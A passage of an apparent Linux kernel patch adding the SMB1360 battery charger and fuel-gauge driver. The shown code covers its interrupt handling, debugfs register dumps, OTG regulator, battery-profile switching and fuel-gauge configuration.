j < ARRAY_SIZE(handlers[i].irq_info); j++) { + if (handlers[i].stat_reg == IRQ_I_REG && j == 2) { + irq_latched_mask = BATT_ID_LATCHED_MASK; + irq_status_mask = BATT_ID_STATUS_MASK; + } else { + irq_latched_mask = IRQ_LATCHED_MASK; + irq_status_mask = IRQ_STATUS_MASK; + } + triggered = handlers[i].val + & (irq_latched_mask << (j * BITS_PER_IRQ)); + rt_stat = handlers[i].val + & (irq_status_mask << (j * BITS_PER_IRQ)); + prev_rt_stat = handlers[i].prev_val + & (irq_status_mask << (j * BITS_PER_IRQ)); + changed = prev_rt_stat ^ rt_stat; + + if (triggered || changed) + rt_stat ? handlers[i].irq_info[j].high++ : + handlers[i].irq_info[j].low++; + + if ((triggered || changed) + && handlers[i].irq_info[j].smb_irq != NULL) { + handler_count++; + rc = handlers[i].irq_info[j].smb_irq(chip, + rt_stat); + if (rc < 0) + dev_err(chip->dev, + "Couldn't handle %d irq for reg 0x%02x rc = %d\n", + j, handlers[i].stat_reg, rc); + } + } + handlers[i].prev_val = handlers[i].val; + } + + pr_debug("handler count = %d\n", handler_count); + if (handler_count) + power_supply_changed(&chip->batt_psy); + + mutex_unlock(&chip->irq_complete); + + return IRQ_HANDLED; +} + +static int show_irq_count(struct seq_file *m, void *data) +{ + int i, j, total = 0; + + for (i = 0; i < ARRAY_SIZE(handlers); i++) + for (j = 0; j < 4; j++) { + if (!handlers[i].irq_info[j].name) + continue; + seq_printf(m, "%s=%d\t(high=%d low=%d)\n", + handlers[i].irq_info[j].name, + handlers[i].irq_info[j].high + + handlers[i].irq_info[j].low, + handlers[i].irq_info[j].high, + handlers[i].irq_info[j].low); + total += (handlers[i].irq_info[j].high + + handlers[i].irq_info[j].low); + } + + seq_printf(m, "\n\tTotal = %d\n", total); + + return 0; +} + +static int irq_count_debugfs_open(struct inode *inode, struct file *file) +{ + struct smb1360_chip *chip = inode->i_private; + + return single_open(file, show_irq_count, chip); +} + +static const struct file_operations irq_count_debugfs_ops = { + .owner = THIS_MODULE, + .open = irq_count_debugfs_open, + .read = seq_read, + .llseek = seq_lseek, + .release = single_release, +}; + +static int get_reg(void *data, u64 *val) +{ + struct smb1360_chip *chip = data; + int rc; + u8 temp; + + rc = smb1360_read(chip, chip->peek_poke_address, &temp); + if (rc < 0) { + dev_err(chip->dev, + "Couldn't read reg %x rc = %d\n", + chip->peek_poke_address, rc); + return -EAGAIN; + } + *val = temp; + return 0; +} + +static int set_reg(void *data, u64 val) +{ + struct smb1360_chip *chip = data; + int rc; + u8 temp; + + temp = (u8) val; + rc = smb1360_write(chip, chip->peek_poke_address, temp); + if (rc < 0) { + dev_err(chip->dev, + "Couldn't write 0x%02x to 0x%02x rc= %d\n", + chip->peek_poke_address, temp, rc); + return -EAGAIN; + } + return 0; +} +DEFINE_SIMPLE_ATTRIBUTE(poke_poke_debug_ops, get_reg, set_reg, "0x%02llx\n"); + +static int fg_get_reg(void *data, u64 *val) +{ + struct smb1360_chip *chip = data; + int rc; + u8 temp; + + rc = smb1360_select_fg_i2c_address(chip); + if (rc) { + pr_err("Unable to set FG access I2C address\n"); + return -EINVAL; + } + + rc = smb1360_fg_read(chip, chip->fg_peek_poke_address, &temp); + if (rc < 0) { + dev_err(chip->dev, + "Couldn't read reg %x rc = %d\n", + chip->fg_peek_poke_address, rc); + return -EAGAIN; + } + *val = temp; + return 0; +} + +static int fg_set_reg(void *data, u64 val) +{ + struct smb1360_chip *chip = data; + int rc; + u8 temp; + + rc = smb1360_select_fg_i2c_address(chip); + if (rc) { + pr_err("Unable to set FG access I2C address\n"); + return -EINVAL; + } + + temp = (u8) val; + rc = smb1360_fg_write(chip, chip->fg_peek_poke_address, temp); + if (rc < 0) { + dev_err(chip->dev, + "Couldn't write 0x%02x to 0x%02x rc= %d\n", + chip->fg_peek_poke_address, temp, rc); + return -EAGAIN; + } + return 0; +} +DEFINE_SIMPLE_ATTRIBUTE(fg_poke_poke_debug_ops, fg_get_reg, + fg_set_reg, "0x%02llx\n"); + +#define LAST_CNFG_REG 0x17 +static int show_cnfg_regs(struct seq_file *m, void *data) +{ + struct smb1360_chip *chip = m->private; + int rc; + u8 reg; + u8 addr; + + for (addr = 0; addr <= LAST_CNFG_REG; addr++) { + rc = smb1360_read(chip, addr, ®); + if (!rc) + seq_printf(m, "0x%02x = 0x%02x\n", addr, reg); + } + + return 0; +} + +static int cnfg_debugfs_open(struct inode *inode, struct file *file) +{ + struct smb1360_chip *chip = inode->i_private; + + return single_open(file, show_cnfg_regs, chip); +} + +static const struct file_operations cnfg_debugfs_ops = { + .owner = THIS_MODULE, + .open = cnfg_debugfs_open, + .read = seq_read, + .llseek = seq_lseek, + .release = single_release, +}; + +#define FIRST_CMD_REG 0x40 +#define LAST_CMD_REG 0x42 +static int show_cmd_regs(struct seq_file *m, void *data) +{ + struct smb1360_chip *chip = m->private; + int rc; + u8 reg; + u8 addr; + + for (addr = FIRST_CMD_REG; addr <= LAST_CMD_REG; addr++) { + rc = smb1360_read(chip, addr, ®); + if (!rc) + seq_printf(m, "0x%02x = 0x%02x\n", addr, reg); + } + + return 0; +} + +static int cmd_debugfs_open(struct inode *inode, struct file *file) +{ + struct smb1360_chip *chip = inode->i_private; + + return single_open(file, show_cmd_regs, chip); +} + +static const struct file_operations cmd_debugfs_ops = { + .owner = THIS_MODULE, + .open = cmd_debugfs_open, + .read = seq_read, + .llseek = seq_lseek, + .release = single_release, +}; + +#define FIRST_STATUS_REG 0x48 +#define LAST_STATUS_REG 0x4B +static int show_status_regs(struct seq_file *m, void *data) +{ + struct smb1360_chip *chip = m->private; + int rc; + u8 reg; + u8 addr; + + for (addr = FIRST_STATUS_REG; addr <= LAST_STATUS_REG; addr++) { + rc = smb1360_read(chip, addr, ®); + if (!rc) + seq_printf(m, "0x%02x = 0x%02x\n", addr, reg); + } + + return 0; +} + +static int status_debugfs_open(struct inode *inode, struct file *file) +{ + struct smb1360_chip *chip = inode->i_private; + + return single_open(file, show_status_regs, chip); +} + +static const struct file_operations status_debugfs_ops = { + .owner = THIS_MODULE, + .open = status_debugfs_open, + .read = seq_read, + .llseek = seq_lseek, + .release = single_release, +}; + +#define FIRST_IRQ_REG 0x50 +#define LAST_IRQ_REG 0x58 +static int show_irq_stat_regs(struct seq_file *m, void *data) +{ + struct smb1360_chip *chip = m->private; + int rc; + u8 reg; + u8 addr; + + for (addr = FIRST_IRQ_REG; addr <= LAST_IRQ_REG; addr++) { + rc = smb1360_read(chip, addr, ®); + if (!rc) + seq_printf(m, "0x%02x = 0x%02x\n", addr, reg); + } + + return 0; +} + +static int irq_stat_debugfs_open(struct inode *inode, struct file *file) +{ + struct smb1360_chip *chip = inode->i_private; + + return single_open(file, show_irq_stat_regs, chip); +} + +static const struct file_operations irq_stat_debugfs_ops = { + .owner = THIS_MODULE, + .open = irq_stat_debugfs_open, + .read = seq_read, + .llseek = seq_lseek, + .release = single_release, +}; + +static int data_8(u8 *reg) +{ + return reg[0]; +} +static int data_16(u8 *reg) +{ + return (reg[1] << 8) | reg[0]; +} +static int data_24(u8 *reg) +{ + return (reg[2] << 16) | (reg[1] << 8) | reg[0]; +} +static int data_28(u8 *reg) +{ + return ((reg[3] & 0xF) << 24) | (reg[2] << 16) | + (reg[1] << 8) | reg[0]; +} +static int data_32(u8 *reg) +{ + return (reg[3] << 24) | (reg[2] << 16) | + (reg[1] << 8) | reg[0]; +} + +struct fg_regs { + int index; + int length; + char *param_name; + int (*calc_func) (u8 *); +}; + +static struct fg_regs fg_scratch_pad[] = { + {0, 2, "v_current_predicted", data_16}, + {2, 2, "v_cutoff_predicted", data_16}, + {4, 2, "v_full_predicted", data_16}, + {6, 2, "ocv_estimate", data_16}, + {8, 2, "rslow_drop", data_16}, + {10, 2, "voltage_old", data_16}, + {12, 2, "current_old", data_16}, + {14, 4, "current_average_full", data_32}, + {18, 2, "temperature", data_16}, + {20, 2, "temp_last_track", data_16}, + {22, 2, "ESR_nominal", data_16}, + {26, 2, "Rslow", data_16}, + {28, 2, "counter_imptr", data_16}, + {30, 2, "counter_pulse", data_16}, + {32, 1, "IRQ_delta_prev", data_8}, + {33, 1, "cap_learning_counter", data_8}, + {34, 4, "Vact_int_error", data_32}, + {38, 3, "SOC_cutoff", data_24}, + {41, 3, "SOC_full", data_24}, + {44, 3, "SOC_auto_rechrge_temp", data_24}, + {47, 3, "Battery_SOC", data_24}, + {50, 4, "CC_SOC", data_28}, + {54, 2, "SOC_filtered", data_16}, + {56, 2, "SOC_Monotonic", data_16}, + {58, 2, "CC_SOC_coeff", data_16}, + {60, 2, "nominal_capacity", data_16}, + {62, 2, "actual_capacity", data_16}, + {68, 1, "temperature_counter", data_8}, + {69, 3, "Vbatt_filtered", data_24}, + {72, 3, "Ibatt_filtered", data_24}, + {75, 2, "Current_CC_shadow", data_16}, + {79, 2, "Ibatt_standby", data_16}, + {82, 1, "Auto_recharge_SOC_threshold", data_8}, + {83, 2, "System_cutoff_voltage", data_16}, + {85, 2, "System_CC_to_CV_voltage", data_16}, + {87, 2, "System_term_current", data_16}, + {89, 2, "System_fake_term_current", data_16}, + {91, 2, "thermistor_c1_coeff", data_16}, +}; + +static struct fg_regs fg_cfg[] = { + {0, 2, "ESR_actual", data_16}, + {4, 1, "IRQ_SOC_max", data_8}, + {5, 1, "IRQ_SOC_min", data_8}, + {6, 1, "IRQ_volt_empty", data_8}, + {7, 1, "Temp_external", data_8}, + {8, 1, "IRQ_delta_threshold", data_8}, + {9, 1, "JIETA_soft_cold", data_8}, + {10, 1, "JIETA_soft_hot", data_8}, + {11, 1, "IRQ_volt_min", data_8}, + {14, 2, "ESR_sys_replace", data_16}, +}; + +static struct fg_regs fg_shdw[] = { + {0, 1, "Latest_battery_info", data_8}, + {1, 1, "Latest_Msys_SOC", data_8}, + {2, 2, "Battery_capacity", data_16}, + {4, 2, "Rslow_drop", data_16}, + {6, 1, "Latest_SOC", data_8}, + {7, 1, "Latest_Cutoff_SOC", data_8}, + {8, 1, "Latest_full_SOC", data_8}, + {9, 2, "Voltage_shadow", data_16}, + {11, 2, "Current_shadow", data_16}, + {13, 2, "Latest_temperature", data_16}, + {15, 1, "Latest_system_sbits", data_8}, +}; + +#define FIRST_FG_CFG_REG 0x20 +#define LAST_FG_CFG_REG 0x2F +#define FIRST_FG_SHDW_REG 0x60 +#define LAST_FG_SHDW_REG 0x6F +#define FG_SCRATCH_PAD_MAX 93 +#define FG_SCRATCH_PAD_BASE_REG 0x80 +#define SMB1360_I2C_READ_LENGTH 32 + +static int smb1360_check_cycle_stretch(struct smb1360_chip *chip) +{ + int rc = 0; + u8 reg; + + rc = smb1360_read(chip, STATUS_4_REG, ®); + if (rc) { + pr_err("Unable to read status regiseter\n"); + } else if (reg & CYCLE_STRETCH_ACTIVE_BIT) { + /* clear cycle stretch */ + rc = smb1360_masked_write(chip, CMD_I2C_REG, + CYCLE_STRETCH_CLEAR_BIT, CYCLE_STRETCH_CLEAR_BIT); + if (rc) + pr_err("Unable to clear cycle stretch\n"); + } + + return rc; +} + +static int show_fg_regs(struct seq_file *m, void *data) +{ + struct smb1360_chip *chip = m->private; + int rc, i , j, rem_length; + u8 reg[FG_SCRATCH_PAD_MAX]; + + rc = smb1360_check_cycle_stretch(chip); + if (rc) + pr_err("Unable to check cycle-stretch\n"); + + rc = smb1360_enable_fg_access(chip); + if (rc) { + pr_err("Couldn't request FG access rc=%d\n", rc); + return rc; + } + + for (i = 0; i < (FG_SCRATCH_PAD_MAX / SMB1360_I2C_READ_LENGTH); i++) { + j = i * SMB1360_I2C_READ_LENGTH; + rc = smb1360_read_bytes(chip, FG_SCRATCH_PAD_BASE_REG + j, + ®[j], SMB1360_I2C_READ_LENGTH); + if (rc) { + pr_err("Couldn't read scratch registers rc=%d\n", rc); + break; + } + } + + j = i * SMB1360_I2C_READ_LENGTH; + rem_length = (FG_SCRATCH_PAD_MAX % SMB1360_I2C_READ_LENGTH) + 1; + if (rem_length) { + rc = smb1360_read_bytes(chip, FG_SCRATCH_PAD_BASE_REG + j, + ®[j], rem_length); + if (rc) + pr_err("Couldn't read scratch registers rc=%d\n", rc); + } + + rc = smb1360_disable_fg_access(chip); + if (rc) { + pr_err("Couldn't disable FG access rc=%d\n", rc); + return rc; + } + + rc = smb1360_check_cycle_stretch(chip); + if (rc) + pr_err("Unable to check cycle-stretch\n"); + + + seq_puts(m, "FG scratch-pad registers\n"); + for (i = 0; i < ARRAY_SIZE(fg_scratch_pad); i++) + seq_printf(m, "\t%s = %x\n", fg_scratch_pad[i].param_name, + fg_scratch_pad[i].calc_func(®[fg_scratch_pad[i].index])); + + rem_length = LAST_FG_CFG_REG - FIRST_FG_CFG_REG + 1; + rc = smb1360_read_bytes(chip, FIRST_FG_CFG_REG, + ®[0], rem_length); + if (rc) + pr_err("Couldn't read config registers rc=%d\n", rc); + + seq_puts(m, "FG config registers\n"); + for (i = 0; i < ARRAY_SIZE(fg_cfg); i++) + seq_printf(m, "\t%s = %x\n", fg_cfg[i].param_name, + fg_cfg[i].calc_func(®[fg_cfg[i].index])); + + rem_length = LAST_FG_SHDW_REG - FIRST_FG_SHDW_REG + 1; + rc = smb1360_read_bytes(chip, FIRST_FG_SHDW_REG, + ®[0], rem_length); + if (rc) + pr_err("Couldn't read shadow registers rc=%d\n", rc); + + seq_puts(m, "FG shadow registers\n"); + for (i = 0; i < ARRAY_SIZE(fg_shdw); i++) + seq_printf(m, "\t%s = %x\n", fg_shdw[i].param_name, + fg_shdw[i].calc_func(®[fg_shdw[i].index])); + + return rc; +} + +static int fg_regs_open(struct inode *inode, struct file *file) +{ + struct smb1360_chip *chip = inode->i_private; + + return single_open(file, show_fg_regs, chip); +} + +static const struct file_operations fg_regs_debugfs_ops = { + .owner = THIS_MODULE, + .open = fg_regs_open, + .read = seq_read, + .llseek = seq_lseek, + .release = single_release, +}; + +static int smb1360_otg_regulator_enable(struct regulator_dev *rdev) +{ + int rc = 0; + struct smb1360_chip *chip = rdev_get_drvdata(rdev); + + rc = smb1360_masked_write(chip, CMD_CHG_REG, CMD_OTG_EN_BIT, + CMD_OTG_EN_BIT); + if (rc) + pr_err("Couldn't enable OTG mode rc=%d\n", rc); + + return rc; +} + +static int smb1360_otg_regulator_disable(struct regulator_dev *rdev) +{ + int rc = 0; + struct smb1360_chip *chip = rdev_get_drvdata(rdev); + + rc = smb1360_masked_write(chip, CMD_CHG_REG, CMD_OTG_EN_BIT, 0); + if (rc) + pr_err("Couldn't disable OTG mode rc=%d\n", rc); + + return rc; +} + +static int smb1360_otg_regulator_is_enable(struct regulator_dev *rdev) +{ + u8 reg = 0; + int rc = 0; + struct smb1360_chip *chip = rdev_get_drvdata(rdev); + + rc = smb1360_read(chip, CMD_CHG_REG, ®); + if (rc) { + pr_err("Couldn't read OTG enable bit rc=%d\n", rc); + return rc; + } + + return (reg & CMD_OTG_EN_BIT) ? 1 : 0; +} + +struct regulator_ops smb1360_otg_reg_ops = { + .enable = smb1360_otg_regulator_enable, + .disable = smb1360_otg_regulator_disable, + .is_enabled = smb1360_otg_regulator_is_enable, +}; + +static int smb1360_regulator_init(struct smb1360_chip *chip) +{ + int rc = 0; + struct regulator_init_data *init_data; + struct regulator_config cfg = {}; + + init_data = of_get_regulator_init_data(chip->dev, chip->dev->of_node); + if (!init_data) { + dev_err(chip->dev, "Unable to allocate memory\n"); + return -ENOMEM; + } + + if (init_data->constraints.name) { + chip->otg_vreg.rdesc.owner = THIS_MODULE; + chip->otg_vreg.rdesc.type = REGULATOR_VOLTAGE; + chip->otg_vreg.rdesc.ops = &smb1360_otg_reg_ops; + chip->otg_vreg.rdesc.name = init_data->constraints.name; + + cfg.dev = chip->dev; + cfg.init_data = init_data; + cfg.driver_data = chip; + cfg.of_node = chip->dev->of_node; + + init_data->constraints.valid_ops_mask + |= REGULATOR_CHANGE_STATUS; + + chip->otg_vreg.rdev = regulator_register( + &chip->otg_vreg.rdesc, &cfg); + if (IS_ERR(chip->otg_vreg.rdev)) { + rc = PTR_ERR(chip->otg_vreg.rdev); + chip->otg_vreg.rdev = NULL; + if (rc != -EPROBE_DEFER) + dev_err(chip->dev, + "OTG reg failed, rc=%d\n", rc); + } + } + + return rc; +} + +static int smb1360_check_batt_profile(struct smb1360_chip *chip) +{ + int rc, i, timeout = 50; + u8 reg = 0, loaded_profile, new_profile = 0, bid_mask; + + if (!chip->connected_rid) { + pr_debug("Skip batt-profile loading connected_rid=%d\n", + chip->connected_rid); + return 0; + } + + rc = smb1360_read(chip, SHDW_FG_BATT_STATUS, ®); + if (rc) { + pr_err("Couldn't read FG_BATT_STATUS rc=%d\n", rc); + goto fail_profile; + } + + loaded_profile = !!(reg & BATTERY_PROFILE_BIT) ? + BATTERY_PROFILE_B : BATTERY_PROFILE_A; + + pr_debug("fg_batt_status=%x loaded_profile=%d\n", reg, loaded_profile); + + for (i = 0; i < BATTERY_PROFILE_MAX; i++) { + pr_debug("profile=%d profile_rid=%d connected_rid=%d\n", i, + chip->profile_rid[i], + chip->connected_rid); + if (abs(chip->profile_rid[i] - chip->connected_rid) < + (div_u64(chip->connected_rid, 10))) + break; + } + + if (i == BATTERY_PROFILE_MAX) { + pr_err("None of the battery-profiles match the connected-RID\n"); + return 0; + } else { + if (i == loaded_profile) { + pr_debug("Loaded Profile-RID == connected-RID\n"); + return 0; + } else { + new_profile = (loaded_profile == BATTERY_PROFILE_A) ? + BATTERY_PROFILE_B : BATTERY_PROFILE_A; + bid_mask = (new_profile == BATTERY_PROFILE_A) ? + BATT_PROFILEA_MASK : BATT_PROFILEB_MASK; + pr_info("Loaded Profile-RID != connected-RID, switch-profile old_profile=%d new_profile=%d\n", + loaded_profile, new_profile); + } + } + + /* set the BID mask */ + rc = smb1360_masked_write(chip, CFG_FG_BATT_CTRL_REG, + BATT_PROFILE_SELECT_MASK, bid_mask); + if (rc) { + pr_err("Couldn't reset battery-profile rc=%d\n", rc); + goto fail_profile; + } + + /* enable FG access */ + rc = smb1360_masked_write(chip, CMD_I2C_REG, FG_ACCESS_ENABLED_BIT, + FG_ACCESS_ENABLED_BIT); + if (rc) { + pr_err("Couldn't enable FG access rc=%d\n", rc); + goto fail_profile; + } + + while (timeout) { + /* delay for FG access to be granted */ + msleep(100); + rc = smb1360_read(chip, IRQ_I_REG, ®); + if (rc) { + pr_err("Could't read IRQ_I_REG rc=%d\n", rc); + goto restore_fg; + } + if (reg & FG_ACCESS_ALLOWED_BIT) + break; + timeout--; + } + if (!timeout) { + pr_err("FG access timed-out\n"); + rc = -EAGAIN; + goto restore_fg; + } + + /* delay after handshaking for profile-switch to continue */ + msleep(1500); + + /* reset FG */ + rc = smb1360_masked_write(chip, CMD_I2C_REG, FG_RESET_BIT, + FG_RESET_BIT); + if (rc) { + pr_err("Couldn't reset FG rc=%d\n", rc); + goto restore_fg; + } + + /* un-reset FG */ + rc = smb1360_masked_write(chip, CMD_I2C_REG, FG_RESET_BIT, 0); + if (rc) { + pr_err("Couldn't un-reset FG rc=%d\n", rc); + goto restore_fg; + } + + /* disable FG access */ + rc = smb1360_masked_write(chip, CMD_I2C_REG, FG_ACCESS_ENABLED_BIT, 0); + if (rc) { + pr_err("Couldn't disable FG access rc=%d\n", rc); + goto restore_fg; + } + + timeout = 10; + while (timeout) { + /* delay for profile to change */ + msleep(500); + rc = smb1360_read(chip, SHDW_FG_BATT_STATUS, ®); + if (rc) { + pr_err("Could't read FG_BATT_STATUS rc=%d\n", rc); + goto restore_fg; + } + + reg = !!(reg & BATTERY_PROFILE_BIT); + if (reg == new_profile) { + pr_info("New profile=%d loaded\n", new_profile); + break; + } + timeout--; + } + + if (!timeout) { + pr_err("New profile could not be loaded\n"); + return -EBUSY; + } + + return 0; + +restore_fg: + smb1360_masked_write(chip, CMD_I2C_REG, FG_ACCESS_ENABLED_BIT, 0); +fail_profile: + return rc; +} + +static int determine_initial_status(struct smb1360_chip *chip) +{ + int rc; + u8 reg = 0; + + /* + * It is okay to read the IRQ status as the irq's are + * not registered yet. + */ + chip->batt_present = true; + rc = smb1360_read(chip, IRQ_B_REG, ®); + if (rc < 0) { + dev_err(chip->dev, "Couldn't read IRQ_B_REG rc = %d\n", rc); + return rc; + } + if (reg & IRQ_B_BATT_TERMINAL_BIT || reg & IRQ_B_BATT_MISSING_BIT) + chip->batt_present = false; + + rc = smb1360_read(chip, IRQ_C_REG, ®); + if (rc) { + dev_err(chip->dev, "Couldn't read IRQ_C_REG rc = %d\n", rc); + return rc; + } + if (reg & IRQ_C_CHG_TERM) + chip->batt_full = true; + + rc = smb1360_read(chip, IRQ_A_REG, ®); + if (rc < 0) { + dev_err(chip->dev, "Couldn't read irq A rc = %d\n", rc); + return rc; + } + + if (chip->workaround_flags & WRKRND_HARD_JEITA) + schedule_delayed_work(&chip->jeita_work, 0); + else { + if (reg & IRQ_A_HOT_HARD_BIT) + chip->batt_hot = true; + if (reg & IRQ_A_COLD_HARD_BIT) + chip->batt_cold = true; + if (reg & IRQ_A_HOT_SOFT_BIT) + chip->batt_warm = true; + if (reg & IRQ_A_COLD_SOFT_BIT) + chip->batt_cool = true; + } + + rc = smb1360_read(chip, IRQ_E_REG, ®); + if (rc < 0) { + dev_err(chip->dev, "Couldn't read irq E rc = %d\n", rc); + return rc; + } + chip->usb_present = (reg & IRQ_E_USBIN_UV_BIT) ? false : true; + power_supply_set_present(chip->usb_psy, chip->usb_present); + + return 0; +} + +static int smb1360_fg_config(struct smb1360_chip *chip) +{ + int rc = 0, temp, fcc_mah; + u8 reg = 0, reg2[2]; + + /* + * The below IRQ thresholds are not accessible in REV_1 + * of SMB1360. + */ + if (!(chip->workaround_flags & WRKRND_FG_CONFIG_FAIL)) { + if (chip->delta_soc != -EINVAL) { + if (is_between(chip->delta_soc, 1, 100)) { + reg = (chip->delta_soc * MAX_8_BITS/100-1); + pr_debug("delta_soc=%d reg=%x\n", chip->delta_soc, reg); + rc = smb1360_write(chip, SOC_DELTA_REG, reg); + if (rc) { + dev_err(chip->dev, "Couldn't write to SOC_DELTA_REG rc=%d\n", + rc); + return rc; + } + } + } + + if (chip->soc_min != -EINVAL) { + if (is_between(chip->soc_min, 0, 100)) { + reg = DIV_ROUND_UP(chip->soc_min * MAX_8_BITS, + 100); + pr_debug("soc_min=%d reg=%x\n", + chip->soc_min, reg); + rc = smb1360_write(chip, SOC_MIN_REG, reg); + if (rc) { + dev_err(chip->dev, "Couldn't write to SOC_MIN_REG rc=%d\n", + rc); + return rc; + } + } + } + + if (chip->soc_max != -EINVAL) { + if (is_between(chip->soc_max, 0, 100)) { + reg = DIV_ROUND_UP(chip->soc_max * MAX_8_BITS, + 100); + pr_debug("soc_max=%d reg=%x\n", + chip->soc_max, reg); + rc = smb1360_write(chip, SOC_MAX_REG, reg); + if (rc) { + dev_err(chip->dev, "Couldn't write to SOC_MAX_REG rc=%d\n", + rc); + return rc; + } + } + } + + if (chip->voltage_min_mv != -EINVAL) { + temp = (chip->voltage_min_mv - 2500) * MAX_8_BITS; + reg = DIV_ROUND_UP(temp, 2500); + pr_debug("voltage_min=%d reg=%x\n", + chip->voltage_min_mv, reg); + rc = smb1360_write(chip, VTG_MIN_REG, reg); + if (rc) { + dev_err(chip->dev, "Couldn't write to VTG_MIN_REG rc=%d\n", + rc); + return rc; + } + } + + if (chip->voltage_empty_mv != -EINVAL) { + temp = (chip->voltage_empty_mv - 2500) * MAX_8_BITS; + reg = DIV_ROUND_UP(temp, 2500); + pr_debug("voltage_empty=%d reg=%x\n", + chip->voltage_empty_mv, reg); + rc = smb1360_write(chip, VTG_EMPTY_REG, reg); + if (rc) { + dev_err(chip->dev, "Couldn't write to VTG_EMPTY_REG rc=%d\n", + rc); + return rc; + } + } + } + + /* scratch-pad register config */ + if (chip->batt_capacity_mah != -EINVAL + || chip->v_cutoff_mv != -EINVAL + || chip->fg_iterm_ma != -EINVAL + || chip->fg_ibatt_standby_ma != -EINVAL + || chip->fg_thermistor_c1_coeff != -EINVAL + || chip->fg_cc_to_cv_mv != -EINVAL + || chip->fg_auto_recharge_soc != -EINVAL) { + + rc = smb1360_enable_fg_access(chip); + if (rc) { + pr_err("Couldn't enable FG access rc=%d\n", rc); + return rc; + } + + /* Update battery capacity */ + if (chip->batt_capacity_mah != -EINVAL) { + rc = smb1360_read_bytes(chip, ACTUAL_CAPACITY_REG, + reg2, 2); + if (rc) { + pr_err("Failed to read ACTUAL CAPACITY rc=%d\n", + rc); + goto disable_fg; + } + fcc_mah = (reg2[1] << 8) | reg2[0]; + if (fcc_mah == chip->batt_capacity_mah) { + pr_debug("battery capacity correct\n"); + } else { + /* Update the battery capacity */ + reg2[1] = + (chip->batt_capacity_mah & 0xFF00) >> 8; + reg2[0] = (chip->batt_capacity_mah & 0xFF); + rc = smb1360_write_bytes(chip, + ACTUAL_CAPACITY_REG, reg2, 2); + if (rc) { + pr_err("Couldn't write batt-capacity rc=%d\n", + rc); + goto disable_fg; + } + rc = smb1360_write_bytes(chip, + NOMINAL_CAPACITY_REG, reg2, 2); + if (rc) { + pr_err("Couldn't write batt-capacity rc=%d\n", + rc); + goto disable_fg; + } + + /* Update CC to SOC COEFF */ + if (chip->cc_soc_coeff != -EINVAL) { + reg2[1] = + (chip->cc_soc_coeff & 0xFF00) >> 8; + reg2[0] = (chip->cc_soc_coeff & 0xFF); + rc = smb1360_write_bytes(chip, + CC_TO_SOC_COEFF, reg2, 2); + if (rc) { + pr_err("Couldn't write cc_soc_coeff rc=%d\n", + rc); + goto disable_fg; + } + } + } + } + + /* Update cutoff voltage for SOC = 0 */ + if (chip->v_cutoff_mv != -EINVAL) { + temp = (u16) div_u64(chip->v_cutoff_mv * 0x7FFF, 5000); + reg2[1] = (temp & 0xFF00) >> 8; + reg2[0] = temp & 0xFF; + rc = smb1360_write_bytes(chip, FG_SYS_CUTOFF_V_REG, + reg2, 2); + if (rc) { + pr_err("Couldn't write cutoff_mv rc=%d\n", rc); + goto disable_fg; + } + } + + /* + * Update FG iterm for SOC = 100, this value is always assumed + * to be -ve + */ + if (chip->fg_iterm_ma != -EINVAL) { + int iterm = chip->fg_iterm_ma * -1; + temp = (s16) div_s64(iterm * 0x7FFF, 2500); + reg2[1] = (temp & 0xFF00) >> 8; + reg2[0] = temp & 0xFF; + rc = smb1360_write_bytes(chip, FG_ITERM_REG, + reg2, 2); + if (rc) { + pr_err("Couldn't write fg_iterm rc=%d\n", rc); + goto disable_fg; + } + } + + /* + * Update FG iterm standby for SOC = 0, this value is always + * assumed to be +ve + */ + if (chip->fg_ibatt_standby_ma != -EINVAL) { + int iterm = chip->fg_ibatt_standby_ma; + temp = (u16) div_u64(iterm * 0x7FFF, 2500); + reg2[1] = (temp & 0xFF00) >> 8; + reg2[0] = temp & 0xFF; + rc = smb1360_write_bytes(chip, FG_IBATT_STANDBY_REG, + reg2, 2); + if (rc) { + pr_err("Couldn't write fg_iterm rc=%d\n", rc); + goto disable_fg; + } + } + + /* Update CC_to_CV voltage threshold */ + if (chip->fg_cc_to_cv_mv != -EINVAL) { + temp = (u16) div_u64(chip->fg_cc_to_cv_mv * 0x7FFF, + 5000); + reg2[1] = (temp & 0xFF00) >> 8; + reg2[0] = temp & 0xFF; + rc = smb1360_write_bytes(chip, FG_CC_TO_CV_V_REG, + reg2, 2); + if (rc) { + pr_err("Couldn't write cc_to_cv_mv rc=%d\n", + rc); + goto disable_fg; + } + } + + /* Update the thermistor c1 coefficient */ + if (chip->fg_thermistor_c1_coeff != -EINVAL) { + reg2[1] = (chip->fg_thermistor_c1_coeff & 0xFF00) >> 8; + reg2[0] = (chip->fg_thermistor_c1_coeff & 0xFF); + rc = smb1360_write_bytes(chip, FG_THERM_C1_COEFF_REG, + reg2, 2); + if (rc) { + pr_err("Couldn't write thermistor_c1_coeff rc=%d\n", + rc); + goto disable_fg; + } + } + + /* Update SoC based resume charging threshold */ + if (chip->fg_auto_recharge_soc != -EINVAL) { + rc = smb1360_masked_write(chip, CFG_CHG_FUNC_CTRL_REG, + CHG_RECHG_THRESH_FG_SRC_BIT, + CHG_RECHG_THRESH_FG_SRC_BIT); + if (rc) { + dev_err(chip->dev, "Couldn't write to CFG_CHG_FUNC_CTRL_REG rc=%d\n", + rc); + goto disable_fg; + } + + reg = DIV_ROUND_UP(chip->fg_auto_recharge_soc * + MAX_8_BITS, 100); + pr_debug("fg_auto_recharge_soc=%d reg=%x\n", + chip->fg_auto_recharge_soc, reg); + rc = smb1360_write(chip, FG_AUTO_RECHARGE_SOC, reg); + if (rc) { + dev_err(chip->dev, "Couldn't write to FG_AUTO_RECHARGE_SOC rc=%d\n", + rc); + goto disable_fg; + } + chip->current_recharge_type = FG_SOC_AUTO_RECHARGE; + } + + +disable_fg: + /* disable FG access */ + smb1360_disable_fg_access(chip); + } + + return rc; +} +static void smb1360_check_feature_support(struct smb1360_chip *chip) +{ + + if (is_usb100_broken(chip)) { + pr_debug("USB100 is not supported\n"); + chip->workaround_flags |= WRKRND_USB100_FAIL; + } + + /* + * FG Configuration + * + * The REV_1 of the chip does not allow access to + * FG config registers (20-2FH). Set the workaround flag. + * Also, the battery detection does not work when the DCIN is absent, + * add a workaround flag for it. + */ + if (chip->revision == SMB1360_REV_1) { + pr_debug("FG config and Battery detection is not supported\n"); + chip->workaround_flags |= + WRKRND_FG_CONFIG_FAIL | WRKRND_BATT_DET_FAIL; + } +} + +static int smb1360_enable(struct smb1360_chip *chip, bool enable) +{ + int rc = 0; + u8 val, shdn_status, shdn_cmd_en, shdn_cmd_polar; + + rc = smb1360_read(chip, SHDN_CTRL_REG, &val); + if (rc < 0) { + dev_err(chip->dev, "Couldn't read 0x1A reg rc = %d\n", rc); + return rc; + } + shdn_cmd_en = val & 